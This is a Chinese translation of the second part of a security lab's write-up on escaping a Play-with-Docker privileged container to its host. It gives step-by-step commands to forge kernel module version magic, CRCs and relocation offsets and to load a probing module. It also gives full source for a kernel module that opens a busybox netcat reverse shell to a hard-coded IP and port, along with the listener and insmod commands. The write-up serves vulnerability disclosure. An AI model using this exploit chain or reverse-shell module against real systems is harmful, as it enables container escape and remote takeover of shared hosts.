攻擊者是如何從Play-with-Docker容器逃逸到Docker主機的(下)
第3步:編輯相關的欄位以匹配目標內核。
我們需要替換vermagic(見第5行)和CRC(見第25-27行),使其匹配目標內核。
之後,我們就得到PWD的CEPH.KO模塊。
為了從ceph.ko模塊中提取內核版本和函數的CRC,可以運行modinfo命令:
$ modinfo ceph.ko
filename: /root/cprojects/kernelmod/play-docker/ceph.ko
license: GPL
description: Ceph filesystem for Linux
author: Patience Warnick
author: Yehuda Sadeh
author: Sage Weil
alias: fs-ceph
srcversion: C985B22FADB19E9D06914CC
depends: libceph,fscache
intree: Y
vermagic: 4.4.0-96-generic SMP mod_unload modversions
signat: PKCS#7
signer:
sig_key:
sig_hashalgo: md4
記錄vermagic字元串。請注意,它有一個尾隨的空格,複製時,請不要忘了這一個空格。
生成的頭文件需要用到3個CRC符號:
module_layout, printk and __fentry__.
為了找到這些CRC,需要對目標內核的ceph.ko模塊運行modprobe命令:
# modprobe --dump-modversions ceph.ko | grep printk
0x27e1a049 printk
# modprobe --dump-modversions ceph.ko | grep module_layout
0xfc5ded98 module_layout
# modprobe --dump-modversions ceph.ko | grep __fentry
0xbdfb6dbb __fentry__
現在,請編輯probing.mod.c,修改vermagic字元串和CRC,使其變為:
#include
#include
#include
MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions ");
MODULE_INFO(name, KBUILD_MODNAME);
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
.arch = MODULE_ARCH_INIT,
};
#ifdef RETPOLINE
MODULE_INFO(retpoline, "Y");
#endif
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
{ /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) },
{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },
{ 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145");
請注意,printk和__fentry__的CRC並沒有進行修改,這意味著它們對於本地內核和PWD內核具有相同的CRC。
第4步:修改init_module偏移量。
載入probing模塊之前,需要完成的最後一步是修改其init_module可重定位偏移量。為此,需要檢查PWD內核ceph.ko模塊的ELF結構,以獲得可重定位的init_module偏移量:
$ readelf -a ceph.ko | less
向下翻卷,直到找到如下行所示內容為止:
Offset Info Type Sym. Value Sym. Name Addend
000000000180 052900000001 R_X86_64_64 0000000000000000 init_module 0
000000000338 04e700000001 R_X86_64_64 0000000000000000 cleanup_module 0
注意,init_module的可重定位偏移量為0x180。
接下來,需要考察probing模塊的init_module偏移量:
$ readelf -a probing.ko | less
向下翻卷,直到找到如下init_module所示內容為止:
Offset Info Type Sym. Value Sym. Name Addend
000000000178 002900000001 R_X86_64_64 0000000000000000 init_module 0
000000000320 002700000001 R_X86_64_64 0000000000000000 cleanup_module 0
從該輸出結果來看,該probing模塊的init_module可重定位偏移量似乎是0x178。我們需要對其進行修改,以便目標內核能夠執行已安裝模塊的函數。
為此,我們需要在probing.ko文件的地址0x1BF18處將該偏移量改為0x180。
實際上,我們可以藉助於chngelf工具來完成該任務:
$ chngelf probing.ko 0x1bf18 0x180
第5步:將「Probing」模塊載入到目標內核。
對於這個probing模塊來說,其下一個也是最後一個步驟是將probing.ko模塊傳輸到PWD容器,並嘗試將其載入到內核:
[node1] $ insmod probing.ko
如果載入成功,insmod將沒有任何輸出。
接下來,我們需要運行dmesg來轉儲內核消息:
$ dmesg
[1921106.716039] docker_gwbridge: port 67(veth4eff938) entered forwarding state
[1921107.452064] Loading probing module...
[1921107.456852] CRC of call_UserModeHelper = 0xc5fdef94
[1921107.464297] CRC of printk = 0x27e1a049
大功告成了!這樣,我們只要能在PWD內核中運行自己的代碼,就能獲得所需符號的CRC了。
第3階段:創建反向shell模塊
對於反向shell來說,我們需要使用內核函數call_usermodehelper(),它可以從內核空間中準備並執行用戶空間中的應用程序。
我們這裡將使用一個非常簡單的模塊:
/*
* @file NsEscape.c
* @author Nimrod Stoler, CyberArk Labs
* @date 29 Oct 2018
* @version 0.1
* @brief This loadable kernel module prepares a new device with
* the inode of mnt namespace, which allows a container to
* escape to the host by using enterns or setns()
*/
#include
/* Needed by all modules */
#include
/* Needed for KERN_INFO */
#include
/* Needed for the macros */
#include
#include
#include
///
MODULE_LICENSE("GPL");
///
MODULE_AUTHOR("Nimrod Stoler");
///
MODULE_DESCRIPTION("NS Escape LKM");
///
MODULE_VERSION("0.1");
static int __init escape_start(void)
{
int rc;
static char *envp[] = {
"SHELL=/bin/bash",
"HOME=/home/cyberark",
"USER=cyberark",
"PATH=/home/cyberark/bin:/home/cyberark/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/cyberark",
"DISPLAY=:0",
"PWD=/home/cyberark",
NULL};
char *argv[] = { "/bin/busybox", "nc", "54.87.128.209", "4444", "-e", "/bin/bash", NULL };
rc = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
printk("RC is: %i
", rc);
return 0;
}
static void __exit escape_end(void)
{
printk(KERN_EMERG "Goodbye!
");
}
module_init(escape_start);
module_exit(escape_end);
該模塊會調用busybox程序包中的netcat工具,它應該已經根據C2伺服器的IP和埠以反向shell模式安裝到了主機的文件系統上。
接下來,我們為nsescape代碼創建一個makefile文件,並進行編譯:
obj-m = nsescape.o
all:
make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
然後,執行下列命令:
$ make
make -C /lib/modules/4.17.0-rc2/build/ M=/root/cprojects/kernelmod/nsescape modules
make[1]: Entering directory "/root/debian/linux-4.17-rc2"
Building modules, stage 2.
MODPOST 1 modules
read continue
當make進程停止後,編輯文件nsescape.mod.c,就像我們對probing模塊所做的那樣,修改vermagic和CRC:
#include
#include
#include
MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions ");
MODULE_INFO(name, KBUILD_MODNAME);
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
.arch = MODULE_ARCH_INIT,
};
#ifdef RETPOLINE
MODULE_INFO(retpoline, "Y");
#endif
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
{ /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) },
{ 0xdb7305a1, __VMLINUX_SYMBOL_STR(__stack_chk_fail) },
{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },
{ /*0xa7eedcc4*/ 0xc5fdef94, __VMLINUX_SYMBOL_STR(call_usermodehelper) },
{ 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
MODULE_INFO(srcversion, "E4B73EA24DFD56CAEDF8C67");
修改vermagic,使其匹配目標內核,同時,還要修改module_layout和call_usermodhelper符號的CRC,使其匹配運行probing模塊時所獲得的數字。不過,其他CRC(printk、__fentry__和__stack_chk_fail的CRC)在這兩個內核之間貌似沒有變化。
最後,使用chngelf工具將輸出文件中的init_module可重定位偏移量從0x178改為0x180,就像處理probing模塊時所做的那樣。
在PWD主機上執行遠程代碼
現在,運行netcat,以準備好C2伺服器:
nc –l 4444 -vvv
最後一步是將nsespace.ko文件傳送到目標計算機,即Play–with-Docker容器上面,並執行如下所示的命令:
[node1] $ insmod nsescape.ko
這樣,我們可以使用遠程shell從PWD容器成功逃逸到主機了!
結束語
要想從Linux容器獲得主機訪問許可權,即使不是不可能的話,也是一項非常艱巨的任務。不過,在這個PWD示例中,情況好像並非如此。
其實,其中的原因很簡單:由於PWD使用了具有特權的容器,所以,在修復該漏洞之前,很難為其提供相應的安全防護。
雖然從PWD容器逃逸到主機非常困難——但正如我們在本文中所展示的那樣,這並不是不可能的。並且,Linux內核模塊注入只是攻擊者可以利用的途徑之一。並且,其他攻擊途徑也是存在的,所以,在使用特權容器時,必須妥善加以處理。
※惡意iOS APP偽裝成健身APP從iPhone和iPad設備偷錢
※XPwn CTF將於1月15日在京震撼開啟
TAG:嘶吼RoarTalk |